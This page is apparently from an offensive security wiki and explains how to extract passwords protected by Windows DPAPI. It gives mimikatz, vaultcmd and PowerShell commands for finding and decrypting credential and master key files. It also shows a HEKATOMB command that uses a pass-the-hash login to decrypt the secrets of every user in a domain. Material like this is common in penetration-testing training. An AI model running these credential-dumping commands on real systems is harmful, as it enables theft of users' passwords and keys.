# DPAPI - Extracting Passwords




RootedCON is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.

RootedCON
RootedCON

## What is DPAPI

The Data Protection API (DPAPI) is primarily utilized within the Windows operating system for the **symmetric encryption of asymmetric private keys**, leveraging either user or system secrets as a significant source of entropy. This approach simplifies encryption for developers by enabling them to encrypt data using a key derived from the user's logon secrets or, for system encryption, the

system's domain authentication secrets, thus obviating the need for developers to manage the protection of the encryption key themselves.

## Protected Data by DPAPI

Among the personal data protected by DPAPI are:

- Internet Explorer and Google Chrome's passwords and auto-completion data
- E-mail and internal FTP account passwords for applications like Outlook and Windows Mail
- Passwords for shared folders, resources, wireless networks, and Windows Vault, including encryption keys
- Passwords for remote desktop connections, .NET Passport, and private keys for various encryption and authentication purposes
- Network passwords managed by Credential Manager and personal data in applications using CryptProtectData, such as Skype, MSN messenger, and more

# List Vault

```
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list
```

# Credential Files

The **credentials files protected** could be located in:

```
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```

Get credentials info using mimikatz `dpapi::cred`, in the response you can find interesting info such as the encrypted data and the guidMasterKey.

```
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2835083975

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]
```

You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt:

```
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
```

# Master Keys

The DPAPI keys used for encrypting the user's RSA keys are stored under `%APPDATA%\Microsoft\Protect\{SID}` directory, where {SID} is the **Security Identifier of that user**. **The DPAPI key is stored in the same file as the master key that protects the users private keys**. It usually is 64 bytes of random data. (Notice that this directory is protected so you cannot list it using `dir` from the cmd, but you can list it from PS).

```
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
```

This is what a bunch of Master Keys of a user will looks like:

```
PS C:\Users\user> Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\S-1-5-21-3433153645-1155628621-4
190105117-1003


    Directory: C:\Users\USER\AppData\Roaming\Microsoft\Protect\S-1-5-21-3433153645-1155628621-4190105117-1003


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-        11/2/2019   2:09 PM            468 902c7f3d-c7db-4c19-ab62-c3a85ee62251
-a-hs-        1/28/2020   3:40 PM            468 a93fc97b-38fb-4ab6-9580-0917dc617677
-a-hs-        6/18/2020  11:33 AM            468 db1ad315-4ec1-4ed2-a334-a0d44d3cbf49
-a-hs-        8/31/2020   4:55 PM            468 feccb018-6017-4fde-ab39-e91377c05eb1
-a-hs-        8/31/2020   4:55 PM             24 Preferred
```

Usually **each master keys is an encrypted symmetric key that can decrypt other content**. Therefore, **extracting** the **encrypted Master Key** is interesting in order to **decrypt** later that **other content** encrypted with it.

## Extract master key & decrypt

Check the post https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ for an example of how to extract the master key and decrypt it.

# SharpDPAPI

SharpDPAPI is a C# port of some DPAPI functionality from @gentilkiwi's Mimikatz project.

# HEKATOMB

**HEKATOMB** is a tool that automates the extraction of all users and computers from the LDAP directory and the extraction of domain controller backup key through RPC. The script will then resolve all computers ip address and perform a smbclient on all computers to retrieve all DPAPI blobs of all users and decrypt everything with domain backup key.

```
python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56
DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
```

With extracted from LDAP computers list you can find every sub network even if you didn't know them !

"Because Domain Admin rights are not enough. Hack them all."

# DonPAPI

**DonPAPI** can dump secrets protected by DPAPI automatically.

# References

- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++


**RootedCON** is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.

RootedCON
RootedCON

> Support HackTricks

Previous
Writable Sys Path +Dll Hijacking Privesc

Next
From High Integrity to SYSTEM with Name Pipes

Last updated 3 months ago